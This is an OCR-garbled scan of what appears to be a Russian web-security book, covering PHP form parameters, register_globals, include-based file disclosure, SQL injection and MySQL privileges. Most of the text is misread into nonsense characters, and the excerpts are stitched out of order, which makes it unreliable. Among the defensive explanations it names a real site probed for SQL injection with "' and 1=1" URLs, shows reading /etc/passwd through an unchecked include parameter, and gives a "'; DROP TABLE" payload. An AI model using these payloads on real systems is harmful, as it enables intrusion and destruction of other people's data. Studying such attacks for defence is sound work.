O secauditLog logs/audit_log — onpeacnser (adi xypuana, 8 kotopom Gy-
ZeT COXPaHATbCS HHpopmauma of aynure;

0] SecFilterDefaultActicn “deny,log,status:406" — 3a1acT AeHCTBHe N0
yMonuasuio. B naHuoM cnyuae ykasaH 3anper (deny);

O secrilter xxx redirect:http://www.webkreator.com -— ofecneunBaeT
nepeagpecauwio. Eciiu npasina coGaioneHsl, TO NONLIOBATENA OTNPABSIOT Ha
Web-caiit http://www.webkreator.com;
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¢aiin cueHapus nomken nokasats Ha Web-ctpanune Gopym, koTopsif naeHTHGU-
uupobas B Gasze AAHHBIX NOA HOMEPOM 4. B 3aBHCHMOCTM OT HoMepa opyma
Web-ctpanuua GyAeT BHIAANSTE N0-Pa3HOMY.

A Ternepb MpeACTABUM, 4TO HOMep opyMa GyAeT mepenasaThcs ¢ NOMOIIBIO Me-
Tolla POST. B aTOM criyuae, kaxyio 611 Web-crpaniiy gopyma Bul He npocMaTpu-
samd, URL 6Gyzer murasgete ofuuakoso: http://www.sitename.ru/index.php.
3HauUT, IONBIOBATENL HE CMOXET CO3AATS 3aKaAKY Ha HYXHYIO Web-cTpanumy,

Tonyuaercs, YTo METONOM GET HYKHO [EPENABATL U TAKHE MAPAMETPLI, KOTOPbIE
CMOTYT O[HO3HAYHO WACHTHQUUMPOBATL Web-CTPaHWLy, HO NIPH 3TOM HeAb3d
HapywaTk NpaBlfia, YTO JAHHLIE NOJIKHBI 6uiTh Ge3onacHbIMY U He JAOJKHBI CO-
AepxKaTh BAXKHBIX NAHHBIX.

3.4.2. Metop POST

MexatusM UCroAL30BaHUA METOHA POST HUYEM HE OTJIMHMACTCA OT GET. HOC’I‘&'I’O“IHO
TO/IbKO NOMEHATL UMs METOAR U salll koj Gyaer paGoTars Ges BHeceHHs nonomnu-
TebHbIX KOPPEKTHPOBOK, €CNIH BB HCMONBIOBAAK AULA HOCTYA K MIAPAMETPaM fiio-
GanbHbIE NEPEMEHHbIE, 3 HE MACCHB $HTTP_GET_VARS (1A POST UCIIOAB3YETCA APY-
ro maccus). PaccMoTperHbili paHee npyMep, MCIIONBL3YIOWMI METON GET, MpH
UCTIONBL30BAHUU METONR POST GyJJET BbIMIAAETH CACAYIOLWM OGWSOM:
<form action="param.php" method="post”>
Uger Name:

<input name="UserName">

<input type="hidden" name="Password" value"gwerty">
</form>

TpH KCNIONBIOBAHMM METONA POST B TEAO 3aMPOCA [IONANAIOT M BCE TTAPAMETPHI
B BHZE Nnap "HMa=3Hauexue". [IToMMMO 3TOro, 3HAYCHUA NEPEMEHHBIX B UX UMeHa
AONAZAIOT B MACCHB SHTTP_POST_VARS. UTOGbI HE NMCATL TAKOE JUIMHHOE MM,
MOXHO MCNOB30BaTh NCEBAOHMM $_POST.

Hecmorps Ha To, 4To mapaMeTps! He BuHsl B crpoxe URL, npoGnema ke pelugerca
AOMHOCTBI0. JIOMyCTHM, HTO BBl Pa3PELNIA HCTIONB30BATE MMOGAIBHBIE MEPeMeH-
Hbie M UCNIONL3YETE WX U1A JOCTYNa K NapaMeTpaM, Kak NoKasaHo B JIHCTHHIE 3.4,
CoxpaHuTe 3T0T Kol B (akine ¢ umeHem postparam.php.

<form actio

postparam.php” method="post">
User Name: <input name="UserName">

<input type="hidden" name="Password" value="qwerty">
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Ecnut B kavecTse uMeRH $aiina NepenaTs TOUKY, TO Bb TAIOKE YBHANTE COALpIRH-
MOe Tekyluei aupexroprit (puc, 7.2). Koneuto, Takoll pe3ybTaT MEHeEE HADIANICH,
TIOTOMY 4TO TIOMHMO MMeH (JailfOB B HEM COMEPIKUTCS MHOTO HEHHTACMBIX CHM-
BONOB, HO HAHTH HEOOXOAMMBIE JAHHBIE MOXHO (/18 yNOOCTRa 5 BBIAETHA BX pa-
MOHKOH).

Puc. 7.2. Copepxumoe TeKylieA qupextopun

Jamuta or 310 OIMGKK Takas e, kak ¥ 114 PHP-cuenapues:

O noaymaiTe AECATS pas, NPEXKIE HeM AaBath NONE30BATENIO BOIMOXKHOCTD BHe
aTb Ha uMs daiina. He CTONT MCHONBIOBATL MPH OTKPHITHH (aiia nepemens
Hble, noNydeHnsie 13 hopMm;

01 smipesaifTe M3 NepeMeHHBIX BCE NPEACTABNAIOLINE ONACHOCTE cHMBOIEL, Jywine
yAansTs sce, kpoMe undp W Gyks. HauGonee onacHpiMM CHMBONAMK MOXKHO
CUMTATH: TOUKY, CASW ¥ BEPTHKANLHYIO YEPTY.

51 nbiranca naittu 8 Mntepuere Web-caliTel, conepaxainue Takyio omlubxy, HO Hi=
4ero 0cobeHHO HHTEpecHOTo He 06GHapyskHa — BHanmo Perl noficTaUTeNLHO CARST
CBOM TIOIHUHH.





index-99_1.png
Banom PHPcyenapues 95

3.4. ABTOMaTUuecKas
perucTpaums nepemMeHHbIX

B PHP. ecth OfiHa OYEHB WHTEPECHAs BOIMOKHOCTH! ABTOMATHYECKH CO3AABATH
niepeMeHHbIe A BXOAAMWX AAHHBIX. UTOGE! Tyuiue NOHATL 5Ty TeMy, CHauana
HYXHO NOTOBOPUTL © THITAX ITAPAMETPOS.

TMapameTphi ClEHAPHA MOXHO MONYHaTh PA3TUYHBIMA METOLAMH, OCHOBHEIE 3TO:
GET, FoST B Cookies. 14 BCeX U3 3THX MaPAMETPOR MOFYT aBTOMATHUYECKM CO3Aa-
BATbCA TIEPEMEHHBIE, €CiK B (aiine HacTpoek php.ini mapaMerp register_globals
YCT2HOBJIEH B on. Mni PaccMOTPUM OMACHOCTb HEBEPHOT O UCMOABb3OBAHNWA 32peru-
CTPHPORAHHBIX NEPEMEHHLIX HA NPHMEPE NMAPAMETPOB GET M POST,

TpakTuyecku Ha noGom Gonee-menee kpynHom Web-cajite HeOGXONUMO moy-
4aTh onpeneneHHblﬁ BBOA €O CTOPOHbI I10/ib30BaTENA. uﬂfl 3TOTO Ha A3bIKE pas-
metkn HTML cosnatotcs $opMbi, KOTOPbI€ NepefialoT CBOE CONEPIKHMOE YKazaH-
Homy daliny cuenapus. Hanpumep, crienytotnmli npiaMep noxassiBaeT, Kak coznath
GopMy BBONA KMEHH M10/1b30BATEN.
<form action="param.php" method="get">

#Ma nomssoBaTenA: <input name=:
</ form>

"UserName">

¥V T3ra form HY)XXHO yKa3aTh Ba NapaMeTpa:

) Action — 3flech Mbl AO/LKHBI YKa3aTb M (ailna cucHapus unu nommsii URL
K (hatity, KOTOPOMY NEPEAAIITCH TAPAMETPL GOPMBI;

O Method — meTon nepeaun. CylnecTsyloT f8a METOAA Nepenayn NapaMeTpoB:
GET M FOST. BbI IOMXKHBI 4ETKO MOHKMATD, KAK OHW PaBoTAOT ¥ B ¥eM pazHH-
ta, FI03TOMY 062 MeTOAa Mbl [10APOGHO PACCMOTPHM HYTh HIKE.

Mexay ToTaMH <form> U </form> MOXKHO CO3AaBATH 3AEMEHTEI YTIPARTEHHA, HA-
veHus koTopbix GYAyT nepenasaThes cLieHapiio. B nauHom npumepe Mbl cozpanu
TOJILKO OAHO ToNe BBOAA (Tar input). JIng nprMepa B ka4ecTsE HMEHH TTONIA BBOAA
2 ykasan "UserName".

JlaBaiiTe MOCMOTpPHM Ha npHMepe, KAK MOXHO YBHAeTh sBeacHHoe B Web-dopmy
nons3osateneym uma. Camplii NpocToii BapuaHT 3T0 B daiine param.php ucnone3o-
BaTb NEPEMEHHYIO SUserName. Jla, Mbl TAaKOW FEPEMEHHON HE CO3JAaBANM, HO OHA
€O3a€TCS HHTEPTIPETATOPOM ABTOMATHYECKY MEpPEN 3aMyCKOM CLEHApHA.

Urabel yBHAETR, KOIIa COIMAETCH COOTBETCTBYIOUINH NapaMeTp, naBaiTe co3ia-
M Qaiin param.php, xotopuit 6yneT conepkats $opMy  koa obpabotku. Ta-
kum ofpasom, mapameTpsl BylyT nepenaBaTLCs TOMY YK€ CUEHADMIO, B KOTOPOM
snojuTcs patusie. [Tpumep Takoro cuenapua Ha asuike PHP moxo ysniets
1 smeimnre 3.3.
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ykaseisaeTcs uMa datina, Ecin wenxuyTe Ha 310 ccbinke, TO AOMKHA :arpy:w?b—
ca Web-cTpanuua, sneiauii Bia kotopoli nokasas Ha puc. 3.2.

Puc. 3.2. PeaynuTat paoTul cueHapua

Tenepb nonpoyeM npocMoTpeTs daiin noas3oparenei. Jas aToro 5 napameTpe
dir HyXHO yka3aTb /eic, a B Ka4ecTBe MMenn daiina ykaswisaem passwd. Tak kak
cueHapuii He NPOBEPSET NAPAMETPs!, TO OH MO3BOAMT HAM YBHAETH 3aBETHbIR
thaitn (puc. 3.3).

Kak a1 yxe ropopwi, cama uies TEpenaud NapameTpos, KOTOPbIE WCTIONB3YIOTCA
B QyHKUMM include, AOCTATOYHO npumuTusHa. Crapaiitech naferaTs ee npume-
HEHMs, IOTOMY UTO OHO He CynMT Huuero xopouwero. Ho gaxe ecnw pewmnucs,
clenaiite Bece HCOGXOAMMOE ANA NIPEAOTBPAILEHHS 3arPy3KH NONL30BATENEM NOA-
fortovaeMbix haiinos. B ganHoM cnyuae n3 060UX MapaMeTPOB MOXHO CMENO yAa-
JATH OGBIE CHMBONBL, KpoMe GyKB, YTOG! He GbIN0 BOIMOKHOCTH MEPEAaTh TOUKH
WAW CTIOUIH.

lHckoTopbIe CHUTAIOT, HTO €C/IK NPOrPAMMHO N0GABNATL PacluMpeHye, To JTo po-
muT Bee npobreMul. Ato owmbka. JonycTuM, YTo Bl noakodacTe haiin cie-
nyounm oBpasom:

Include{$_GET('dir')."/" . §_GET{'file'].".html");
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Cnenyromuii Web-caifT, KoTOpBI monanca MHe Ha riasa: http://www.ﬁr‘.net,
HecMoTps Ha To, uto paciupenus y scex daiinop htmi, 3to ssno PHP-cuenaphu,
He nouumaro, 3a4eM HCTIO/ib308aTh pacimupenne Jhiml, Bens 510 aGoomoTtHo He
[NaeT 3AULUTEL

TMapy wmunyT, w owuGka Gbuta wWalileHa B CUEHADHM HTEHWR HOBOCTeH:
http://www fira.net/media/news/read.html. B xauecTse napameTpa indexnum OH
TIONyHaeT HOMEpP HOBOCTH M HIUET MO HEMY COOTBETCTBYIOUIYIO CTPOKY H3 Gasnt
nanneix. TlonpoGyem no6asuts 8 310t napametp “and 1=0". B pesyasTare noask-
nace Web-cTpanuna ¢ mycTo# ueHTpanbHol 4acThio (puc. 5.18), T. €. HOBOCTH OT-
CYTCTBYET.

L

Puc. 5.18. Nycras ueHTpankHaa yacts Web-cTpannus
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if ($HTTP_POST_VARS("UserName"]<>"*)
{
print ("<P>Bame MR nonb30BaTENA: "}
print ( SHTTP_POST_VARS [ "UserName" ]
print("<P>Bam napons: “);
print ($HTTP_POST_VARS["Password”));

3HaueHHe KHONKW TAIOKE MOManacT B nepemernyio. JIo 5TOro Mbl BCerna Hanpas-
Asd nanubie Web-cepeepy © noMoLubiO HaXaTHs Knasuid <Enter>, HO 8 peanb-
HEIX MporpamMMax nyulie OyfeT, ecAM Moik30BaTenh yBHAMT Ha Web-CTpanule
KHONKY OTIpaBky, Hanpumep, Submit wim Go:
<form action=*submitl.php* methed="get">
User Name: <input name="UserName">

<input type="hidden" name="Password" valu

querty*>
<input type="submit" name="sub" value="Go">
</ form>

<?php
if ($sub="Go"}
{
print("<P>Submitted.....: SSubmit"):
}

?>

Tpy 3TOM BbI NOMKHBI YHHTHIBATE, YTO HAIBAHHE KHOMKH B CLICHADHH HE UIMEHA-
ercq. Jlaske TIpi nepBoif 3arpyske Web-cTpanuis!, 10 TOTO, Kak NOb30BATENb HA-
KA KHOMKY OTMPABKY JAHHBIX, 3HaUEHHE Yixe pasHo "Go".

HecMoTpa HA TO, WTO MPH HCTIONBIOBAHKH METOJA POST MapaMeTphl He BUHBI
B ctpoke URL, He cTouT 3a6wiBaTh, 4To 3Ti mapameTphl He Gesonacuul. Takue
JaHHBIE TAIOKE MOXKHO MOAKDHLMPOBaTE, NPocTo Tpebyetcs uyTh Gonbiwe cTapa-
HAil, HO 3TO He OCTAHOBHT Xakcpa. MeToakl POST HEOGXOMMMBI, KOTAa BbI Nepe-
JiaeTe NApaMeTpLl, HO He XOTHTe, uToBkr OHK oTobpaxanuce B crpoke URL, utofin
MOCTOPOHHHI He CMOT MX NPOUMTaTh ¢ JKpaHa MonuTopa. Ho ripu 5ToM Bbl ZomK-
Hbl YAENsTh 3TéM TApaMeTpaM He MeHblIC BHWMaHWA H NpOBEPsTH ia mobbie
OTKJIOHEHHS W HEJONYCTHMBIE CUMBONbBI.





index-26_1.png
OcHoest Geaonscrocmu 21

C rOMOMIBIO 2BTOMATU3HPOBAHHOTO KOHTPONA O4YEHb XOpOLIO NPOUIBOXHTE MEp-
BOHauaNbHYIO NPOBEPKY, 4TOGb! yGeAHThCH B OTCYTCTBHH CTapbix Aancycos. Ecnu
ownGky HalAeHBI, TO HYXHO OGHOBHTB yA3BHMYyto nporpammy, OC uam cnyxGy,
WM NOWCKATH Ha ToM xe Web-calire www.securityfocus.com cnocol ycTpasesus
o6y, [TouTH BCErMa BMECTE C ONMCAHHEM YASRUMOCTH JAETCA BaKLMHA, M03BO-
NAOUIARA 3aNaTaTh NPOPeXy. Bakuuiuy MOXET NPeANoXUTs K NPOrPaMMa CKaHHPO-
BaHuA, ecnii B 6a3e AaHHBIX €CTh pelleHHe NPoGneMbl AT AaHHOTO CliyYas.

l'[oquy JakKe nocne JYyHWeEro ¥ Camoro NHOJHOTO CK2HWPOBAHWA HENb3A 6bITh
YBEPEHHBIM, 4TO yﬂ!BHMOCTeﬁ Het? Momumo owmubok HaZlo pHHKUMaTb BO BHHMA-
Hie eule u dakTop KoHQurypauuu. Ha kaxaom cepsepe MOTyT GbITb CBOM Ha-
CTPOMKH, M NPH ONpPeAENeHHbIX YCIOBHAX IEMKO HAXOAWMAas BPYYHYIO yA3BHMOCTD
MOXET OCTAThCA HE3aMCTHOM [UIA @BTOMATH4ecKoro ckaHuposaHusa. Ha ciauep
HazeHca, a cam He nnowai. Tak 4To, NpoaomKalHTe TeCTUPOBATh CUCTEMY HA H3-
BeCTHble BaM OLIMBKH caMOCTOATENbHO.

Kmblﬁ CKaHep GesonacHocTH HCHoAb3yeT CBOH cnocobbl 1 TIpHEMBI [IOKWCKR YA3-
BHMOCTCFI, M €CAK OJWH M3 HHUX HHYErO HE Hallen, TO llel'Oﬁ MOMET OTbICKaThb.
Creunanuctel no 6e3onacHoCTH MoGAT APUBOANTL NpUMep ¢ kBapTHpoi. Homyc-
THM, 4TO Bbl IPHUUIH K APYTY M [O3BOHHIIH B ABEPb, HO HUKTC HE OTKpPbLI. 370 HE
3HAYMT, 4TO AOMA HHKOIO HET, IPOCTO XO3AHH MOT He YC/bIIATh 3BOHOK, MM OH
He paGoran. Ho ecim no3BOHHTH NO TeNleioHy, KOTOPLIH NEKHT B ITOT MOMEHT
BO3JE XO35HH2, TO OH BO3bMET TPYOKY. Moxer GbiTb ¥ oBpaTHan cHTyauus, Korna
Bbl Ha3BaHUBACTE NO wned)ouy, HC €ro He C/bILIHO, a HA 3BOHOK B ABEPb AOMO-
4afubl OTpearHpywT.

TOUHO TaK Xe NPOMCXOHUT M MPH RBTOMATHUECKOM CKRHHPOBAHNMM: OJHH CKRHEp
MOXET MO3BOHMTD 10 Tene(hoHy, a APyro — HOCTY4HT B ABepb. Onu 06a Xopo-
UM, HO B KOHKPETHBIX CTY4asX NPH pasHbiX KOH(PHIyPaumusx ckaHUpyeMoi Malliy-
Hbl MOTYT GbITb NIO/Ty4EHBI Pa3HBIE PE3YNTBTAThI.

CyllecTsyeT TpU METOJJA ABTOMATUMECKOTO ONpeeNleHHs YA3BUMOCTH: CKAHKPO-
BaHUe, 30HAHPOBAHME M MMUTALMA. B nepsoM ciyuae ckadep cobupaer uHdopma-
UHIO O CEPBEPE, NPOBEPAET NOPTHI, YTOOLI Y3HATH, KAKHE HZ HEM YCTRHOBJNCHBI
cayxGbl, ¥ Ha OCHOBE UX BBIZET OTHET O AOTEHUMANbHbIX owkbkax. Hanpumep,
CKHEP MOMET NPOBEPUTH CEPBEP M YBUAETH Ha 21-M nopry paGoratowmit FTP-
cepeep. [10 CTPoke npurialleHus (eciy oHa He Gbina HIMeHEHa), BbIAABAEMON NpH
NONBITKE NOAK/OYEHHS, MOKHO OMNPE/IENUTh €O BEPCHI0, KOTOpas CPaBHUBAETCH
¢ 6a30i aannbix. M ecau B Gaze ecTh ys3sUmocTs Ans sanHoro FTP-cepeepa, To
110/Tb30BATENIO BbIARETCH COOTBETCTRYIOUIEE COOBInEHHE.

CKaHHpOBaHHe AaNeKO He CAMBIA TOYHBI NPOLIECE, NOTOMY YTO aBTOMETUYECKOS
onpeaesenme IETKO OBMaHyTh, 2 H yA3BUMOCTH MOXeET He GbiTb. HekoTophie fo-
IPCUINOCTH B CAykKBax NPOSBAAIOTCA TOALKO MpM OMpeaeneHHpIX LncTpolkuX,
. €. IPY YCTHIIORIIEHHLIX BAMH NaPAMETPAX OIIHGKa HE 0611apyKUTCA,
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INepeoe, uro 4 aenato, koraa nposepaio Web-caliT Ha GesonacHocTs — nepenaio
MYCOP BO BCEX [apAMETPAX, KOTOPHE MONAJAIOT MHE HA Iasa, a nabuedinne Mou
eHCTBNA yKe 3ABUCAT OT OTBETHOH peaxuui. Cpeau 370r0 Mycopa £ ofs3aTesHo
YKa3biBal0 OAMHAPHYIO KaBbIUKy. 3a4eM? UnTalite nansiie ¥ BCe noAMeTe.

Ton napameTpamu 1 HOHKUMAIO:

O Bce paxHble, BBOAMMbIE B nona BBoAa. Ecnu Ha Web-caiite ecTb none Bsoja,
HANPHUMED, TIOHCK, TO €10 AaHHbIe ckopeii Bcero GyayT nepenaBaThes B KavecT-
Be 3anpoca 6ase nauubx. B 570 nose BBOJAa HeoGXOAMMO MOMBITATLCA nepe-
1Tk KaKye~TO NAHHBIE W 06R3aTeNsHO YKA3aTh OAMHAPHYIO KaBbiuky. Hmenso
OHa SBNAETCA MArHYECKHM CUMBOJTOM B aTake "SQL-uubekuua

00 Bce napamerpl, nMepenaBaemble uepes cTpoky URL. IMapaMerpsi HaxogsTcs
B CTPOKE a/lpeca Toc/ e CHMBOMA {BOTIPOCHTENLHOTO 3HAKA) M UMEIOT BUA
umz=anauenue. [lapaMeTpsl pasaensiotes mexay coboii cumsonom "&".

Jlonyctum, URL ebirnsaut caeaytowmm obpasom: hitp:/fwww.sitename.com/
index.phplid=2&page=1. 3xech Beero asa napameTpa id W page. [Tepsomy npu-
CBavBAETCA 3HaueHue 2, a BTOpoMy 1. Uepes Takue mapameTphl CUCHADUY MOTYT
nepe/1aBath OMpPe/IENeHHbIE AanHbie Mexay Web-CTpaHHUAMH WK OT NOAb3OBATE-
19 K CHEHApHIO. .

Cpa’;y BHUIHO, 4YTO ofa rnapaMeTpa id U page YHCNOBbLIE. A 4TO €C/IH NONbITaTbCA
nepenath OyKBbl Wiiv Apyrue cumeonsl? Kak #a 370 OTpearsipyer clieHapuii?

MMtk MUHYT MyueHUil, 2 TONOXKKTENLHON peakuyK Hukakoit. Her, cuenapuii ot-
BEYAET MHE, HO RTIONHE KOPPEKTHO 06paBaTLIBACT BCE 3HAUEHMA, KOTOPLIE A EMY
NOCBINAK.

Toraa 2 pewskn yxe CKauaTh AEMO-BEPCHIO WX NPOrpamMMbl 1, PasBEPHYB Ha CBOEM
Web-cepaepe, nocmoTpets ee nokansHo. [Ipu npocMorpe uHGOPMALMU MEHA 3a-
HHTepecoBana cChiNka Ang newath. Hasens Ha ccruiky, A ysumen s CTpoke cocTos-
uns javascript:;. HuTepecHo, pas 3anpaTaii, 3HAUKT, YTO-TO TaM €CTb? A MONET,
€CNU 3aNPATANK, To paccAabunych W He nposepuny Tam napameTph? Llenkuys no
CCBHIKE, A YBUIEN MPOCTO OKHO ANA neuaTy Gopmel. 3HAUKT, Mepsoe OTNANACT.
IlocmoTpum BTOpOE.

U106bl MpoBEpUTL NApaMeTpsl, A4 Hauana HaM HeoOXOMMMO Y3HATH PealibHYIo
CCHIKY Ha ctienapwil, KOTOpbiii Buinonusercs. Jna store shiGupaem Bua | Tpo-
emorp HTML-koaa, utobp B ko€ HaiiT¥ CChLAKY, Pa3 YK OHA CTpsTaHa moA
Javascript:;. Onauky, a ucxoaHwlii kox He nossuncs! Hutepecwo. Ecau aro
omubxa Internet Explorer, To 370 0HO, a €C/IK NOMBITKA Pa3paboTUHKa 3AUMTHTECA
01 11pOCMOTPA MCXOHOTO KO, TO 3T0 aBComoTHo ryno. HTobk Bee xe yBuueTh
%o, & coxpannn Web-<Tpanuuy Ha nokanshom aucke (Paiin | Coxpanutes Kak).
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Tabnuya 4.1. Tabnuua x0doe anznulickux Byxe

b
°
h
k
n
q
t

w
z

Tomumo GyKB BamM MOTYT MOHanOGUTLCA ellle M HEKOTOPIE ApyTHe cuMBobl, Ha-
[pyMep, CHMBON C/3ILA MMEET Koa 47.

5.2.7. OT Teopuu K NpakTuxe

Hukakan Teopus He 3aMeHHT npakTrky. Her, Mbl He 6yneM 3aHUMATBCA B3NOMOM,
NOTOMY MTO 3TO HApYIICHHE 3aKOHA. Mo NpoCTO MPOBEAEM IIOHCK YAZBHUMBIX
k SQL-uanexumn Web-caifros, noctpoentsix Ha ceaake PHP + MySQL, 1 nocmot-
p¥M KaKWe BO3MOMCHOCTH NPEAOCTABIACT 30YMbILUACHHUKY HAHHAN YA3BUMOCTh.

Jlns wauana waM nonapoGuTca Web-caiit ¢ npunuuHoii nocelaemoctsio. B Google
A 3amycTvn nouck no ciiosam Sport, USA, php (310 cnyuaiubie ciosa, KoTopeie
DHLLIA MHE B TOAOBY) W Haua/l MPOCMATpUBATh Pe3ynbTat, BeIGHpas HYXHOE.
Tepsbii Web-caiit, kOTODbIli MeHA 3aHHTEPECOBAI, HUYETO 0COBOrO HE Conepka.
MoxeT B HEM U COLEPANHCH OLIMOKH, HO NOBEPXHOCTHEIA OCMOTP HHUETO 0CO-
Goro He roka3an, Bce MApaMeTpsl, KOTOPEIE % YBHAEH, (UILTPOBANKCE HA OTIACHBIE
CHMBOSTBL.

Bropeim MHe Ha rasa monancs Web-caiit www.usacycling.org, nocsamesHbrii
BE/IOCKTIENHOMY CnopTy. J[Be MHHYTbI MHE MOHaNOGWIOCh Ha TO, YTOGBI HAMTH
TIepBYIO YA3BUMOCTb. Bee 5T0 BpeMa f NOACTABAN B NAPAMETPL OAMHAPHYIO Ka-
BhIYKY H knan coobuenus o6 ouubxe. U BOT OHA MosBANAck B cueHapulle
news/user/story.php & napamerpe id. Kak xke moBAT aqMUHMCTPATOPb Hasbindlh
KNIO4YEBOE MOAAC B 'I‘BGJIHLIB)( HIH NCPEMEHHBIE 1A NOKCKA TI0 ITOMY MO “MeHeMET.

Ya3BuMbil CLUeHApUI HaliZen W ANd NOATBEPIKACHHA TOro No6aBIo B NapaMeTp
id ycnosue " and 1=1" u "and 1=1". D10 3HauMT, 4TO HYKHO B aapeCcHol CTPOKkE
seecTh cnedytone URL: http://www.nsacycling.org/mews/user/story.php?id=
1053' %20and %201=1 u http://www.nsacycling.org/news/user/story.php?i
1053’ %20and %201=1.
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Kak BUAHTe, 346CH XPaHATCS NPaBa, KOTOPEIC OTHOCATCA TOMBKO Kk AanHuIM. [Ipasa
YTIpaRNEHHs CEPREPOM JAOCTYMHb TONBKO B TAGNHUE user.

Ipasa fgocTyna MOryT GbITe HA3HAYEHL! W Ha ONpeASNeHHYIo Tabnuity. STH npasa
MOXHO HaM}TH B CHCTEMHON Tabnuue mysql.table_priv. BoaMoxkub! npaBa aake
H2 onpeneneHHble KONOHKY, K 9TH Npaea A0CTYMA €CTh B mysql. column_priv.

OTO OCHOBHbIE AaHHbIE, KOTOPbIE MOTYT NIOHago0KTECA XaKepy. YTenne mpusune-
Thil NO3BONAET TOYHO Y3HATH, YTO NOCTYIHO M ¢ NOMoMmbio kakux SQL-zanpocos
MOXHO OCYMIECTBHTE BIIOM, 8 HIMEHEHHE ITHX Tab/IMLL MOXKET TTO3BOMMTE XaKepy
HafenuTh ce6a HeoOXOMMMBIMH TIPaBAMHM.

EcTh emme TpH oueHb HHTepecHbIS ByHKUAN:

O DATABASE () — BO3BPAINACT WMs 6a3bl NAHHBIX;
0 usEr() — BO3RPAINAET UMA TEKYMIErO [TONLIOBATENS;
0 VERSTON() — BO3BPAIUACT BEPCHIO 6a3bl IAHHBIX,

TNonpobyiiTe sbnoARKTS caenyromnit SQL-2anpoc:
SELECT DATABASE{(), USER(), VERSION()
Bul yBuzuTe OPUMEPHO TakoH pesynsTaT:

e e Aom o +
| DATEBASE() | USER() | VERSION |

1 row in set (0.00 sec)
1 cTpoka b naBope (BpeMA BRMOMHEHUA 0.00 CexyHI)

5.2.2. Ucnonb3oBaHue ysI3BUMOCTHU

B 33aBHCHMOCTH OT TOTO, CKOJIbKO HHGOPMALIMKE BBl NOTYUHAH, MOIKHO BOCIIONb30~
BaTLCA HalAeHHON yA3BUMOCTBIO. JaBaliTe PACCMOTPUM KNACCHUECKUE BAPHAHTSL,
KOTOPbie BCTPEUAKTCs AOCTATOMHO HacTo.

Camoe CTpaiiIHOe, YTO MOXET CAeNaTh XAKep, — YHWYTOXUT, AauHbte. Jeno
B ToM, 4TO Ga3a HAHHBIX MOXET PaboTaTh NOJ YYETHOH 3aMMCBIO, KOTOPas MOXKET
TIO3BONIATL BHITOAHATL KOMaHABI Momddukauns naunbix. Ecnu CYB] 6yaer no-
3BOAATE €le U BbINONHATE HECKOABKO KOMaHI B SQL-SGHPOCC, TO 3TO MOXXET OKa-
3aThca nnaueBHsiM. B GombiimHeTee 6a3 JaHHBIX 32fPOChl ACMKHbI Pa3neNiaTbCh
“ToUKOit ¢ 3anaToi. B 5ToM ciysae Xakepy AOCTATOMHO TepenaTh Hepes yaIsuMuLH
napamMeTp CIeAYIOLYIO KOMaHAY:

'; DROP TABLE Mus vaOmuusi; /*
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TMouemy KOMHUECTRO aTak © KKABIM FOJOM TONBLKO YBEIHIHBAETCA? PaHsme BcA
nupopMauus of yAIBHMOCTAX XpaHunach Ha 3akpeiThix BBS (Bulletin Board
System, JMeKTpOHHas JoCKa OGBABICHMI) U GLINa AOCTYNHA TOJNLKO W3GPAHHBIM.
K 310it kaTeropuu OTHOCHIMCHL M XaKepbl, coBepllaBiue GelHaKasaHHIE ATAKH,
ROTOMY YTO YPOBEHb MX 3HAHMH U ONBITHOCTH BbiN AOCTATOMHO BHICOK. [IpoHMK-
HYTb Ha TaKylo BBS HenoceAweHHOMy il HOBHUKY GEINIO OMEHD CROXHO, a vatlie
BCEro mpocTo HeBoIMoxHO. MHpopmauus of ys3BMMOCTAX W MpOrpaMMel Bis
peanuszaumi aTak GbUIHM JOCTYNHEI OrpaHHYeHHOMY KONRYECTBY MOaeH.

B HacTosmee Bpems CBeNCHUS 06 YAIBUMOCTAX CTATH IOCTOAHKEM OGLIECTBEHHO-
c1H. Tenepb BINOMOM, B TIPHHLIMNE, MOXKET 3AHUMATBECA KTO YTOAHO. ZTOMY CriO-
cobCTBYeT NOABNEHHE MHOXKECTBA NPOrPaMM, KOTOpElE ABTOMATHIUPYIOT TTPOLECE
BIIOMa M NPH ITOM JOCTYnHLI MoGomy noabosatenio MHrepHera. B HekoTophIX
CRy4afX AOCTaTOMHO TONBKO yka3aTh aapec Web-caiTa, koTopbifi BbI XoTHTE
B3/IOMATh, HAKaTh Ha "BOMIECHYIO” KHOTIKY, # KOMMbBIOTEP CAENAET BCe HeobXxo-
Aumoe caM Ge3 Ballerc BMeulaTeNbcTBa, NpU 3Tom Bel abcomoTHo He Gymere
3HaTh, kak 3TO IPOKU3CLIIO.

C oawoti cTopoHbl, MHGOPMALUA AeliCTBUTENLHO AOMKH2 BLITh OTKPLITOR. AQMU-
HUCTPATOPbI, 3Haf METO/bI BAIOMA, MOTYT NOCTPOHTb COOTBETCTBYIOULYIO 3aILNUTY.
Jlpyroe #eAo, 4TO Janeko He Kakablil CNEAMT 33 TeHZEHUWAMH B GesonacHocTH,
W Janeko He BCE aAMHHMCTpaTOpbl oTpabaThiBaloT CBOIO 3apmnaTy, cTpoR Geso-
NacHsle CeTH.

C apyro#t CTOpOHbI, eCAK 3aKpbITe Web-CalThl, Ha KOTOPbIX COZEPKHTCA HHOP-
Mauns 06 ysa3BUMOCTAX, TO KONMYECTBO 2TaK Pe3KO COKPAaTHTCA. BONBUIMHCTEO
BITOMOB COBEPIIAETCA MMEHHO HENpopEeCCHOHanaMy, KOTOpble HAULTH rIE-TO
RPOrpaMMy JUTS COBEPLIEHHS 3NOAESHMi, 1 BBINOTHUIA ee.

JluuHo 4 paspbiBaioCh MEXIY ABYX OTHeH M He MOry NpOrofocoBaTh 3a OTKpBI-
TOCTb MM 32KpbITOCTh HH(OpMaimy. C 0AHOH TOYKM 3peHMA, HHPOPMALIUS JOMNHK-
Ha GBITb OTKpBITa, @ aMMHUCTPATOPbl M NPOrPAMMKCTB! OMKHEI GbITh BHUMA-
TenbHee U GbiCTpee peardpoBaTh Ha HailiieHHble OwHOKY, a ¢ Apyrol, ee yuile
3aKpbITh, 4ToGbl Y 3N0YMBILLIEHHUKOB He BblTo cofnasHa HCMO/b30BATE FOTOBBIE
0pPOrpaMMBL.

HasepHoe, # BCe XKe NPOrONOCYIO 32 OTKPLITOCTE, HO NPH 3TOM NPABOOXPAHUTENb-
Hble OpraHbl AOMKHbI JIyHile KOHTPONHPOBATE Ge30MacHOCTb M pearHpoBaTh Ha
neiicTaua panaanos. Ha, A 3a perynuposanue HuTepHera. Kaxaoe oiectso Tpe-
GyeT pasyMHOrc ynpaBieHus. JT0 He 3HaYHT, YTO 32 KKIBIM KITHKOM HYKHO Clie-
